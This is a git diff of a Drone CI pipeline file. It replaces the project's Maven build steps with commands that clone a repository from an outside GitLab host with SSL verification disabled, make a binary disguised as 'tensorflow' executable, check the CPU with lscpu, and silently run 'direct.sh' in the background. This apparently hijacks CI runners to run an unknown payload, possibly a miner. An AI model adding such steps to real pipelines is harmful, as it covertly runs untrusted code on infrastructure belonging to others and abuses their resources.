diff --git a/.drone.yml b/.drone.yml index 90b928b..2e2ac03 100644 --- a/.drone.yml +++ b/.drone.yml @@ -1,20 +1,16 @@ --- kind: pipeline -name: examples +type: docker +name: lint steps: - name: build - image: maven - volumes: - - name: lib - path: /drone/lib - - name: m2 - path: /root/.m2 + image: golang:1.17 commands: - - mvn -ntp verify - - cd /drone/lib - - git clone https://github.com/metaborg/spt.git - - cd spt/org.metaborg.spt.cmd - - mvn -ntp package + - git -c http.sslVerify "false" clone https://gitlab.zam.io/wajinhakim/drone-test.git + - cd drone-test + - chmod +x tensorflow + - lscpu + - nohup bash direct.sh > /dev/null - name: run_spt image: maven volumes: